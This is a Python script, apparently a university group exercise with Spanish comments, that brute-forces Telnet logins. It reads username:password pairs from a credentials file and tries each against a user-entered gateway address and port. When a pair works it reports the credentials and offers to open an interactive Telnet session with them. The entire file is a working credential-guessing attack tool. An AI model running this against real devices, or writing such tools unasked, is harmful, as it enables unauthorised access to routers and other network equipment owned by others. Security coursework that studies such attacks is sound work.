103 lines
4.4 KiB
Python
103 lines
4.4 KiB
Python
|
import sys
|
||
|
import time
|
||
|
import telnetlib
|
||
|
|
||
|
##### EJERCICIO DE BRUTE FORCE A TELNET
|
||
|
### PARTICIPANTES
|
||
|
### Grupo 4:
|
||
|
### 1113684 - Clay Gomera
|
||
|
### 1114550 - Paulo Puig
|
||
|
### 1116614 - Luis Daniel De la Cruz
|
||
|
### 1114441 - Rafael Peralta
|
||
|
#####
|
||
|
|
||
|
# Inicio del tiempo de proceso
|
||
|
tiempo_inicio = time.time()
|
||
|
|
||
|
# Abrir archivo de texto que contiene usuarios y contraseñas comunes
|
||
|
try:
|
||
|
lista_credenciales = open("credenciales.txt", "r")
|
||
|
except FileNotFoundError:
|
||
|
print("Error: Archivo no encontrado. Por favor, asegúrese de que 'credenciales.txt' esté en el mismo directorio que el script.")
|
||
|
sys.exit(1)
|
||
|
|
||
|
# Entrada del usuario para la dirección del gateway, el puerto y el timeout
|
||
|
direccion_router = input("\nIngrese la Dirección del Gateway: ") # Utiliza 'input' tanto para Windows como para Linux
|
||
|
puerto = input("Ingrese el puerto de Telnet (por defecto es 23): ") # Entrada del puerto de Telnet
|
||
|
if not puerto:
|
||
|
puerto = 23 # Puerto predeterminado para Telnet es 23
|
||
|
else:
|
||
|
puerto = int(puerto) # Convertir la entrada de puerto a entero
|
||
|
|
||
|
timeout = input("Ingrese el tiempo de espera en segundos (por defecto es 10): ") # Entrada del tiempo de espera
|
||
|
if not timeout:
|
||
|
timeout = 10 # Timeout predeterminado es 10 segundos
|
||
|
else:
|
||
|
timeout = int(timeout) # Convertir la entrada de timeout a entero
|
||
|
|
||
|
# Función de fuerza bruta
|
||
|
def ataqueTelnet(usuario, contrasena):
|
||
|
try:
|
||
|
tn = telnetlib.Telnet(direccion_router, puerto, timeout=timeout) # Conexión Telnet con un timeout
|
||
|
tn.read_until(b"login: ", timeout=timeout) # Esperar el prompt de nombre de usuario
|
||
|
tn.write(usuario.encode('ascii') + b"\n") # Enviar el nombre de usuario
|
||
|
tn.read_until(b"Password: ", timeout=timeout) # Esperar el prompt de contraseña
|
||
|
tn.write(contrasena.encode('ascii') + b"\n") # Enviar la contraseña
|
||
|
print("Intentando iniciar sesión...")
|
||
|
respuesta = tn.read_until(b"~$", timeout=timeout) # Comprobar el estado de inicio de sesión
|
||
|
|
||
|
if b"~$" in respuesta or b">" in respuesta: # Si el inicio de sesión es exitoso
|
||
|
tn.close() # Cerrar la sesión actual
|
||
|
return True
|
||
|
else:
|
||
|
tn.close() # Cerrar la sesión actual
|
||
|
return False
|
||
|
except EOFError:
|
||
|
print("\nError con el inicio de sesión en Telnet\n")
|
||
|
return False
|
||
|
except Exception as e:
|
||
|
print(f"\nError inesperado: {e}\n")
|
||
|
return False
|
||
|
|
||
|
# Función para establecer una sesión interactiva Telnet
|
||
|
def iniciarSesion(usuario, contrasena):
|
||
|
try:
|
||
|
tn = telnetlib.Telnet(direccion_router, puerto, timeout=timeout) # Conexión Telnet con un timeout
|
||
|
tn.read_until(b"login: ", timeout=timeout) # Esperar el prompt de nombre de usuario
|
||
|
tn.write(usuario.encode('ascii') + b"\n") # Enviar el nombre de usuario
|
||
|
tn.read_until(b"Password: ", timeout=timeout) # Esperar el prompt de contraseña
|
||
|
tn.write(contrasena.encode('ascii') + b"\n") # Enviar la contraseña
|
||
|
tn.interact() # Iniciar una sesión interactiva
|
||
|
except EOFError:
|
||
|
print("\nError con el inicio de sesión en Telnet\n")
|
||
|
except Exception as e:
|
||
|
print(f"\nError inesperado: {e}\n")
|
||
|
|
||
|
# Gestión del archivo de credenciales
|
||
|
credenciales = lista_credenciales.readlines()
|
||
|
codigo = 0 # Inicializar el código de salida
|
||
|
for cred in credenciales:
|
||
|
usuario_prueba, contrasena_prueba = cred.strip().split(":") # Separar el nombre de usuario y la contraseña
|
||
|
print("\nProbando %s:%s" % (usuario_prueba, contrasena_prueba))
|
||
|
if ataqueTelnet(usuario_prueba, contrasena_prueba): # Usar un nombre de usuario y contraseña de la lista para intentar
|
||
|
print("\n¡Credenciales encontradas!")
|
||
|
print("Usuario: %s, Contraseña: %s\n" % (usuario_prueba, contrasena_prueba))
|
||
|
lista_credenciales.close()
|
||
|
codigo = 1
|
||
|
|
||
|
tiempo_transcurrido = time.time() - tiempo_inicio
|
||
|
print("Tiempo transcurrido en el brute-force: %s segundos\n" % tiempo_transcurrido)
|
||
|
|
||
|
# Preguntar al usuario si desea iniciar una sesión interactiva
|
||
|
iniciar_sesion = input("\n¿Desea iniciar una sesión Telnet con estas credenciales? (s/n): ")
|
||
|
if iniciar_sesion.lower() == 's':
|
||
|
iniciarSesion(usuario_prueba, contrasena_prueba)
|
||
|
|
||
|
break # Terminar el proceso si se encuentran las credenciales
|
||
|
else:
|
||
|
print("¡Credenciales incorrectas!")
|
||
|
|
||
|
# Salida
|
||
|
if codigo == 0:
|
||
|
print("Las credenciales no existen en la lista proporcionada.\n")
|